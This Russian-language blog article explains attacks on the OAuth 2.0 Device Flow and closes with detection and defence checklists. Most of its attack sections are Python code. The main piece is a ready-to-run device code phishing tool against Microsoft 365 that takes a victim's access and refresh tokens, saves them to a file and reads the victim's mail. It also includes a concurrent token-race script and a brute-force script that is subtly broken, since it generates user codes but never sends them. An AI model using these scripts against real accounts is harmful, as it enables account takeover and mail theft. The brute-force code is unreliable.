OAuth 2.0 Device Flow: как угнать токен через телевизор
OAuth 2.0 Device Flow — это поток авторизации, спроектированный для устройств без клавиатуры и браузера: смарт-ТВ, игровых консолей, CLI-инструментов и IoT-девайсов. Но там, где есть удобство — есть и уязвимости, и сегодня мы вскроем всё по-честному.
Как это работает (под капотом)
Классический Device Flow описан в RFC 8628 и выглядит так:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
┌─────────────┐ 1. POST /device_authorize ┌──────────────────┐ │ Smart TV │ ─────────────────────────────────► │ Auth Server │ │ (Device) │ ◄───────────────────────────────── │ (Google, MS365) │ │ │ 2. device_code + user_code + URI └──────────────────┘ │ Показывает │ │ user_code │ 3. Пользователь идёт на │ + QR-код │ https://example.com/activate └─────────────┘ и вводит: BDWD-HQPK 4. Device каждые N секунд долбит: POST /token { device_code, grant_type=urn:...:device_code } 5. После подтверждения пользователем → получает access_token 🎯 |
Ключевые параметры ответа на /device_authorize:
| Поле | Смысл |
|---|---|
device_code | Секрет устройства, хранится на TV |
user_code | Короткий код для пользователя (8 символов) |
verification_uri | URL, куда идёт юзер |
expires_in | TTL кода (обычно 900 сек) |
interval | Пауза между поллингами (обычно 5 сек) |
Вектор атаки #1: Брутфорс user_code
Это самый тупой и самый рабочий вектор. user_code — короткий, читабельный человеком. Стандарт рекомендует 8 символов из ограниченного алфавита (без похожих символов: 0, O, I, 1).
Пространство поиска при формате XXXX-XXXX из 20 символов: 20^8 = 25.6 миллиарда. Звучит страшно, но если TTL = 15 минут, а rate limit отсутствует…
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
import requests import itertools import string import time # Алфавит Device Flow (RFC 8628 рекомендует исключить похожие символы) ALPHABET = "BCDFGHJKLMNPQRSTVWXZ" # 20 символов TARGET_URL = "https://target.example.com/oauth/device" CLIENT_ID = "your_client_id" def brute_user_code(device_code: str, max_attempts: int = 10000): """ Брутим user_code, пока не получим authorization_pending -> success """ headers = {"Content-Type": "application/x-www-form-urlencoded"} for combo in itertools.product(ALPHABET, repeat=4): prefix = "".join(combo) for combo2 in itertools.product(ALPHABET, repeat=4): suffix = "".join(combo2) user_code = f"{prefix}-{suffix}" # Имитируем активацию на сервере авторизации # (или поллим /token со сгенерированным device_code) payload = { "grant_type": "urn:ietf:params:oauth:grant-type:device_code", "device_code": device_code, "client_id": CLIENT_ID, } resp = requests.post(TARGET_URL, data=payload, headers=headers) data = resp.json() if data.get("error") == "authorization_pending": # Код ещё не одобрен — пробуем другой user_code time.sleep(0.1) continue elif "access_token" in data: print(f"[+] ТОКЕН УГНАН! user_code: {user_code}") print(f" access_token: {data['access_token']}") return data["access_token"] elif data.get("error") == "expired_token": print("[-] device_code протух, запрашиваем новый...") return None |
Почему это работает: многие реализации не делают rate limiting на /token endpoint, считая его «серверным» вызовом.
Вектор атаки #2: Device Code Phishing (реальный APT-вектор
Это то, что реально использовали против Microsoft 365 зимой 2025 года. Атака описана Volexity и называется Device Code Phishing.
Схема атаки:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
Атакующий Жертва Auth Server (MS365) │ │ │ │ 1. POST /device_authorize │ │ │────────────────────────────────────────────────────────►│ │◄────────────────────────────────────────────────────────│ │ device_code + user_code + verification_uri │ │ │ │ │ 2. Отправляет фишинг: │ │ │ "Войдите для конф-звонка│ │ │ код: BDWD-HQPK" │ │ │──────────────────────────►│ │ │ │ 3. Жертва идёт на │ │ │ aka.ms/devicelogin │ │ │────────────────────────────►│ │ │◄────────────────────────────│ │ │ Вводит BDWD-HQPK + логин │ │ │────────────────────────────►│ │ │ │ │ 4. Поллинг /token │ │ │────────────────────────────────────────────────────────►│ │◄────────────────────────────────────────────────────────│ │ access_token (valid 60 days!) 🎯 │ |
Атакующий получает токен, действительный 60 дней, без каких-либо уведомлений жертве. Никакого фишинга паролей — только легитимный OAuth flow.
Реализация Device Code Phishing:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 |
import requests import time import json # Конфигурация под Microsoft 365 TENANT_ID = "common" CLIENT_ID = "04b07795-8ddb-461a-bbee-02f9e1bf7b46" # VS Code client_id (публичный) SCOPE = "https://graph.microsoft.com/.default offline_access" AUTH_URL = f"https://login.microsoftonline.com/{TENANT_ID}/oauth2/v2.0" def initiate_device_flow(): """Шаг 1: Получаем device_code и user_code""" resp = requests.post( f"{AUTH_URL}/devicecode", data={ "client_id": CLIENT_ID, "scope": SCOPE, } ) data = resp.json() print(f"\n[*] Отправь жертве этот URL: {data['verification_uri']}") print(f"[*] Код для ввода: {data['user_code']}") print(f"[*] Легенда: 'Введите код для входа в Teams-звонок'") print(f"[*] TTL: {data['expires_in']} секунд\n") return data["device_code"], data["interval"] def poll_for_token(device_code: str, interval: int): """Шаг 2: Поллим сервер пока жертва не введёт код""" print("[*] Ожидаем авторизации жертвы...") while True: time.sleep(interval) resp = requests.post( f"{AUTH_URL}/token", data={ "grant_type": "urn:ietf:params:oauth:grant-type:device_code", "device_code": device_code, "client_id": CLIENT_ID, } ) data = resp.json() if "access_token" in data: print(f"\n[+] УСПЕХ! Токен получен!") print(f"[+] access_token: {data['access_token'][:50]}...") print(f"[+] refresh_token: {data.get('refresh_token', 'N/A')[:50]}...") # Сохраняем трофей with open("stolen_token.json", "w") as f: json.dump(data, f, indent=2) return data elif data.get("error") == "authorization_pending": print(".", end="", flush=True) # Жертва ещё не ввела код elif data.get("error") == "expired_token": print("\n[-] Код истёк. Запускай заново.") break elif data.get("error") == "slow_down": interval += 5 # Сервер просит нас не торопиться def use_stolen_token(access_token: str): """Шаг 3: Используем токен для доступа к MS Graph API""" headers = {"Authorization": f"Bearer {access_token}"} # Читаем почту жертвы resp = requests.get( "https://graph.microsoft.com/v1.0/me/messages?$top=10", headers=headers ) emails = resp.json().get("value", []) print(f"\n[+] Получено {len(emails)} писем из почты жертвы:") for email in emails[:3]: print(f" - От: {email.get('from', {}).get('emailAddress', {}).get('address')}") print(f" Тема: {email.get('subject')}") # Запуск атаки if __name__ == "__main__": device_code, interval = initiate_device_flow() tokens = poll_for_token(device_code, interval) if tokens: use_stolen_token(tokens["access_token"]) |
Вектор атаки #3: Race Condition при обмене кода
Если сервер не инвалидирует device_code мгновенно после выдачи токена — можно попытаться получить несколько токенов по одному коду.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
import asyncio import aiohttp async def race_token_exchange(device_code: str, client_id: str, token_url: str): """ Отправляем несколько запросов одновременно сразу после авторизации. Цель: получить несколько access_token по одному device_code. """ payload = { "grant_type": "urn:ietf:params:oauth:grant-type:device_code", "device_code": device_code, "client_id": client_id, } async def single_request(session, attempt_id): async with session.post(token_url, data=payload) as resp: data = await resp.json() if "access_token" in data: print(f"[+] Attempt {attempt_id}: ТОКЕН ПОЛУЧЕН → {data['access_token'][:30]}...") return data async with aiohttp.ClientSession() as session: # Запускаем 20 параллельных запросов tasks = [single_request(session, i) for i in range(20)] results = await asyncio.gather(*tasks) tokens = [r["access_token"] for r in results if "access_token" in r] print(f"\n[*] Уникальных токенов получено: {len(set(tokens))}") return tokens # asyncio.run(race_token_exchange(device_code, client_id, token_url)) |
Вектор атаки #4: Перехват через открытый редирект
В некоторых реализациях verification_uri_complete содержит user_code прямо в URL. Если приложение делает промежуточный редирект через незащищённый эндпоинт — код утечёт в Referer header.
|
1 2 3 4 5 6 7 8 |
# Нормальный verification_uri_complete: https://auth.example.com/activate?user_code=BDWD-HQPK # Если есть открытый редирект: https://app.example.com/redirect?url=https://auth.example.com/activate?user_code=BDWD-HQPK ↑ # Браузер отправит Referer: https://app.example.com/redirect?url=... # на страницу auth.example.com — и user_code утечёт в логи сервера |
Как детектить и защищаться
Для красного:
- Ищи
/device_authorizeили/devicecodeэндпоинты в Burp через поиск по History - Проверяй длину и алфавит
user_code— если меньше 8 символов, пробуй брут - Проверяй наличие rate limit: 50+ запросов в секунду на
/tokenбез блокировки = уязвимость
Для синего:
- Rate limiting на
/tokenendpoint: не более 5 запросов в 5 секунд наdevice_code - Короткий TTL:
expires_inне более 5-10 минут для чувствительных систем - Энтропия
user_code: минимум 20 бит (8 символов из 20-символьного алфавита) - Уведомления: push-нотификация пользователю при попытке активации устройства
- Контекст устройства: привязка
device_codeк IP/UA инициатора - Мониторинг: алерты на VS Code
client_id(04b07795...) в логах авторизации
Итог по векторам
| Вектор | Сложность | Реальность | Обнаружимость |
|---|---|---|---|
Брутфорс user_code | Низкая | Средняя (нужен слабый rate limit) | Высокая (много запросов) |
| Device Code Phishing | Низкая | Очень высокая (реальные APT) | Низкая (легитимный flow) |
| Race Condition | Средняя | Низкая | Средняя |
| Open Redirect утечка | Средняя | Средняя | Низкая |
Device Code Phishing — самый опасный вектор именно потому, что не нарушает ни одного технического контроля. Это чистая социальная инженерия поверх легитимного RFC. Защита только одна: пользователи должны знать, что никогда не стоит вводить коды авторизации по просьбе третьих лиц, даже если это выглядит как ссылка на легитимный домен Microsoft или Google.

На этом все. Всем хорошего дня!
